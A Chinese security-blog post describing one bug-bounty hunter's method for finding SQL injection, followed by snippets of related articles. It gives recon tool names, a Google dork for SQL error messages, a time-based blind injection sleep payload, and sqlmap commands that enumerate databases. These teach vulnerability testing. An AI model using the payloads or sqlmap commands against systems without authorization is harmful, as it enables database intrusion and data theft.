如何在两个不同的网站中发现SQL注入

VSole2023-07-06 09:37:27

1.背景介绍

今天的故事来自叙利亚的一位白帽子,名叫 Ahmad Yussef ,他是一名兼职的漏洞赏金猎手。

2.侦察

关于收集子域,他习惯使用 Subfinder、Assfinder 这两款工具,而对于收集隐藏参数,他习惯使用 Arjun和Katana两款工具。

katana -u "url + parameter"

当然,他也会使用Google Dorking和Shodan.io 来替代Httpx、Httprobe。

3.方法

通常的方法基本是基于SQL错误,Google Dorking:

site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"

也会通过手动方式,在参数后面添加单引号或双引号,如果请求响应了SQL错误,基本就意味着存在漏洞。

对于SQL盲注,他比较喜欢使用Sleep Payloads:

0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z63770’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

4.Sqlmap

如果不知道参数是否存在漏洞,可以使用 Sqlmap 进行检测,因为它是发现此类漏洞的最佳工具。

如果是GET方式,可以使用:

sqlmap -u “target.com” --random-agent --level 1 --risk 1 --dbs

如果没有发现任何错误,也不要那么着急放弃,可以考虑更改level和risk等级,如果是POST方式,则可以使用:

sqlmap -u "target.com" --data "parameter=value" --method POST --random-agent --level 1 --risk 1 --dbs.

sql注入sqlmap post注入
本作品采用《CC 协议》,转载必须注明作者和本文链接
渗透测试Tips
2022-04-13 06:38:50
知己知彼,百战不殆1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。
发现漏洞七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入在用户名里输入admin’,不负期望地报了错很明显,前后端都没有对用户的输入进行过滤,直接将’带入了SQL语句进行。初步判断,此OA系统存在SQL注入漏洞。漏洞验证打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。
一些重要的SQLMap命令
2023-05-04 08:55:08
从扫描SQL注入漏洞到获取数据库名字、表和列,以及获得系统访问权限,其可被用于多种目的。我们必须给SQLMap提供有效的cookie才能对登录页面的POST请求进行扫描。不过别总是保持一个较高的值,因为可能会影响结果的准确性。默认情况下值为1,最高可以设置为3。值为3时,就是最大值,包含了一些严重的SQL查询。级别指定要执行的检查或payload的数量。
本靶机难度为高难度,涉及到了缓冲区溢出的源码审计 ,逆向分析,动态调试等漏洞技能点,攻击方法有2种:??SQL 注入得到的密码可以保留。
前段时间参加攻防演练的时候,发现目标系统有很多都使用了用友的产品,故整理一篇关于用友漏洞的文章。
主要是可以拿着这些信息通过goole,或github搜索一些其他的敏感信息,扩大搜索面。效果就不多说了,在github泄漏一些账号或源码的事件简直不要太多。)如果得到的ip结果不同,即可判断使用了CDN。nmap扫描服务器进行搜集,我认为也是至关重要的一点,不能遗漏。里面的security项rename-command CONFIG ""又问:如果内容禁止使用ip如何探测内网端口1、使用dns解析2、127。
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
sql注入学习笔记
2022-07-27 16:52:58
sql注入学习笔记
Web日志安全分析浅谈
2022-01-12 06:36:15
attack=test';select//1//from/**/1,此时请求状态码为200,但是此注入攻击并没有得到执行,实际情况中,还会有更多情况导致产生此类的噪声数据。抛开这类情况不谈,我们来说说在一般应急响应场景中我们分析日志的常规办法。假设我们面对的是一个相对初级的黑客,一般我们直接到服务器检查是否存有明显的webshell即可。
VSole
网络安全专家